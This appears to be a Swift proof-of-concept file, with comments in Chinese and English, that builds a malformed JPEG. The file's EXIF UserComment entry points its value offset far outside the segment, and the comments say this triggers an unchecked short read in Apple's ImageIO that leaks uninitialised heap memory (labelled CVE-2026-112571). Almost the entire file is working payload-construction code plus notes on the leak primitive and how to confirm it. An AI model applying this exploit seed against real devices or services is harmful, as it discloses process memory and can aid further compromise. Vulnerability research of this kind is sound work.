67 lines
3.1 KiB
Swift
67 lines
3.1 KiB
Swift
// iio.jpeg.comment · ImageIO · ReadUserComment · CVE-2026-112571
|
|
// 原语: 信息泄露 · 进程内 · tier 2
|
|
// Primitive: info leak · in-process · tier 2
|
|
//
|
|
// [zh] EXIF UserComment 短读 → 元数据泄露
|
|
// getBytesAtOffset 的返回值未被检查。当条目值偏移落在标记之外时发生短读,malloc 缓冲尾部保持未初始化,随后该缓冲作为 UserComment 元数据返回给调用方 ——
|
|
// 构成对进程堆的直接读取。
|
|
//
|
|
// [en] EXIF UserComment short read → metadata disclosure
|
|
// The return value of getBytesAtOffset is never checked. When an entry's value offset falls outside
|
|
// the marker the read comes up short, the tail of the malloc'd buffer stays uninitialised, and that
|
|
// buffer is then handed back to the caller as the UserComment metadata value — a direct read of the
|
|
// process heap.
|
|
// ── 判别 / oracle ──
|
|
// count 声明 0x400,值偏移 +0x4000。返回值里会打印实际拿到的字节数与前 24 字节。
|
|
|
|
import Foundation
|
|
|
|
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
|
|
enum B {
|
|
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
|
|
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
|
|
static func be32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
|
|
}
|
|
static func le32(_ v: UInt32) -> [UInt8] {
|
|
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
|
|
}
|
|
static func be64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func le64(_ v: UInt64) -> [UInt8] {
|
|
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
|
|
}
|
|
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
|
|
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
|
|
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
|
|
}
|
|
|
|
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (JPEGPayload) ──
|
|
enum JPEGPayload {
|
|
static func exifUserComment(count: Int = 0x400, valueOffset: Int = 0x4000) -> Data {
|
|
var tiff = Data()
|
|
tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A]) // MM, 42
|
|
tiff.append(contentsOf: B.be32(8)) // IFD0 at 8
|
|
tiff.append(contentsOf: B.be16(1)) // 1 entry
|
|
tiff.append(contentsOf: B.be16(0x9286)) // UserComment
|
|
tiff.append(contentsOf: B.be16(7)) // UNDEFINED
|
|
tiff.append(contentsOf: B.be32(UInt32(count)))
|
|
tiff.append(contentsOf: B.be32(UInt32(valueOffset))) // far past the block
|
|
tiff.append(contentsOf: B.be32(0)) // next IFD
|
|
|
|
var out = minimalSOI()
|
|
let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff)
|
|
let len = payload.count + 2
|
|
out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)]
|
|
out += payload
|
|
out += [0xFF, 0xD9]
|
|
return Data(out)
|
|
}
|
|
|
|
static func minimalSOI() -> [UInt8] { [0xFF, 0xD8] }
|
|
|
|
}
|
|
|
|
|